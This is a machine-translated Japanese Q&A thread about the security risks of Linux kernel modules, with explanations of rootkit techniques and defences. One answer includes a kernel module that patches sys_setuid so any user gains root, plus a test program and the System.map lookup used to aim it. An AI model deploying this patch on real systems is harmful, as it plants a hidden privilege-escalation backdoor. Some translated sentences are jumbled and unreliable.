2009-10-14 25 views
6

Linuxカーネルモジュールのセキュリティリスクはどれくらいですか?誰かがアクセス権を持っていれば、rootkitモジュールをロードしなければならないということが可能であることを読んで覚えています。これは正しいです?これを防ぐ方法はありますか?Linuxカーネルモジュール - セキュリティリスク?

実際にカーネルのどの部分がモジュールインタフェースを通じて公開されていますか、プログラマがどのような機能を利用しているのですか?それは悪意のある目的のために使用できますか?

答えて

5

ダグラスが言ったことは完全に正しいです、Linuxはmonolithicであり、モジュールはすべてを行うことができます。これは主にLinus Thorvaldsが主導する設計の選択肢であり、オープンソースの理念に適合しています(制限する理由はパフォーマンスにかかり、ソースからモジュールが何をするかを見ることができます。

おそらく、第三者からのいわゆるバイナリモジュールをロードする必要があるかもしれません。それらがコンパイルされているように見えても、普通はブラックボックスのような共通のオブジェクトファイルがあり、その周りのインターフェイスだけが実際にコンパイルされます(私が使用するNVIDIAグラフィックドライバのように)。あなたがそのようなモジュールをロードする場合、明確な答えはありません。もしそうでなければ、ベンダーを信頼する必要があります。

理論上正しいモジュールをロードできるのはrootだけです。しかし実際には、システムは完璧ではありません(Linuxでも可能です)。カーネルにコードを導入して権利を奪ってシステムを制御できるようにするために、ローカルユーザやリモートユーザ(まれに)が可能にするカーネルの脆弱性が時々あります。最新のカーネルを持つことは良いことです...

これを精密化した後、「プログラマーにはどのような機能があり、悪意のある目的に使用できるのでしょうか?」という質問にはまだ答えられていません。 SE-Linuxのために行われていることの多くも同様に、悪質な目的に使用することができます。彼らはのようなツールには表示されませんので、悪意のあるユーザプロセスを隠す例えば、/procまたは/sysディレクトリ内の情報を隠す

  • top,psなど。これには、悪意のあるモジュール自体を隠すことが含まれ、lsmodにリストされていません。
  • ログと記録キーストローク...
  • 外部にデータを送信する。モジュールのコードが何か悪いことをした場合、カーネルモジュールはサイトに接続して情報を送信する必要はありません(元のlinuxコードのネットワークスタックを除く)。文字列の一部が
  • ...

...暗号化され、それがさらに悪化においが、いくつかの操作をするために復号化されている場合は、リストが大きく、あなたがより多くの細部をしたい場合、あなたはルートキットハンターを見てすることができます(http://www.rootkit.nl/projects/rootkit_hunter.html )。それは私が時々走るツールです。それは広く使われているものの存在を検出することができますrootkits。それはルートキットのリストを管理していて、その名前でグーグルを検索すると、これらの獣がどんな種類の標的になっているかがわかります...ダグラス氏のように、実際には使用できる機能はすべてカーネルで利用可能な機能です。したがって、モジュールが悪い人であるかどうかを伝えることは明らかではありません。私はそれがセキュリティ問題に関するあなたの思考の一部をクリアすると思う Linux Kernel Modules HOWTO

6

カーネルモジュールは、完全なカーネル特権で動作しています。カーネルが行うことができるものは何でもできます。よく動作するモジュールは、カーネルによってシンボルとしてエクスポートされた関数にその動作を制限しますが、実際には、モジュールがアドレスを持つ任意の関数を呼び出すこと、または既存の関数と同等のコードを実行することを実際に妨げるものはありません。

rootだけがカーネルモジュールをロードできるという保護があります。

ルートはマシンを何とかすることができるため、増分のリスクはごくわずかです。 明確にするために、モジュールをロードすると、rootの隠蔽性が向上したり、システムに関する情報が少ない攻撃が行われる可能性がありますが、rootがカーネルイメージを上書きしてシステムをそのイメージに再起動すると、カーネルモジュールができます。/dev/kmemは一般的に書き込み可能ではないので、ユーザー空間のルートプロセスは、カーネルモジュールに対して何ができるのかが制限されている可能性がありますが、書き換えと再起動はこれを '修正'できます。

また、カーネルメモリを変更する代替方法があるかもしれません。プロセスを非表示にする場合は、ロード可能なモジュールを使用するか、psをトロイの木馬のバージョンに置き換えてください。

同様にファイルを非表示にするには、カーネルモジュールを使用するか、lsを置き換えてください。

+0

あなたは、マシンの唯一の(物理的および合法的な)管理者はかなり頻繁にそうではありませんroot権限を持っていると仮定しています。 :) LKMsは物事の根を絶対に何も知らないことができます。 –

1

あなたはカーネルモジュールが危険であると言っWikipedia

これをチェックアウトすることがあり、窓にドライバーが危険であると言うようなものです。彼らは間違いなくとすることができますが、通常そうではありません。 Mr。Leeder氏は、rootはかなり多くのことを行うことができると述べていますが、カーネルAPIを直接呼び出すことはできません。カーネルモジュールをロードする必要があります(明らかに可能です)。

+0

私はリングがX86コンピュータでは通常使用されていないと思った?私はそれを聞いたと確信していますか? –

+1

唯一の2つのリング - 0&3と思います。 –

+0

rootは、カーネルイメージを上書きしてシステムを再起動することができるので、必要に応じて完全に制御することができます(明らかに再起動することを犠牲にして) –

0

ちょうどドキュメンテーションのその部分を追加します。

0

気になる人は、SELinuxはあなたの友人です。

rootがrootのように動くことができるのであれば、あなたの環境には問題があります。

評価された* IX O/Ses(私はいくつかの評価を行っていますが、開いているO/Sはありません)か、本質的により安全なO/S "サーバー"がリング0 /スーパバイザ/カーネルモードで動作しないメッセージパッシングの種類のようなものです。

0

すでに一般的なレベルの回答があります。 サンプルコードレベルでこの問題を見て、モジュールがインストールされている場合の脆弱なLinuxの可能性をより明確にする方法。

私の例のモジュール:

#include <linux/version.h> 
    #include <linux/module.h> 
    #include <linux/highmem.h> 
    #include <asm/unistd.h> 
    char *p; 
    int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map       
     { pte_t *pte1; 
      unsigned int dummy_but_needed; 
      p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx 
      pte1 = lookup_address((unsigned long long)p, &dummy_but_needed); 
      pte1->pte |= _PAGE_RW; //Now the code page is writable   
      *(p) = (char)0xeb; //0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights. Previous was conditional jmp "75". 
      return -1; // Insmod complains and module disappears from the system but module did it's work already    
     } 
    MODULE_LICENSE("GPL");//We don't need cleanup_module 

テストプログラムは、ユーザレベルの端末上で、スーパーユーザー権限を与える:

int main() 
     { 
     setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;"); 
     system("/bin/bash"); //rax=system call nr and rdi=first parameter 
     } 

が、これは危険なルートキットですか?いいえ、sys_setuidアドレスを見つけるには、すでにroot権限が必要です!そして、実際には、すべてのシステムはこのアドレスが異なります。

とにかく、これは操作が簡単であることを示しています。実際には、使用されている定数を動的(実行時)メソッドで置き換えるのは非常に簡単です(ここには記載されていません)。 (これはルートキットになります。私は試してみましたが、現行のルートキット狩りプログラムはそれが存在していてもそれを見つけることができませんでした。)

私はこれをカーネル3.2とAMD64でテストしました。他のハードウェアでは動作しません!

(定数が必要見つける方法:

xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic 
    [sudo] password for xxxx: 
    ffffffff8107f3a0 T sys_setuid 
    ffffffff810a23f0 T sys_setuid16 

関連する問題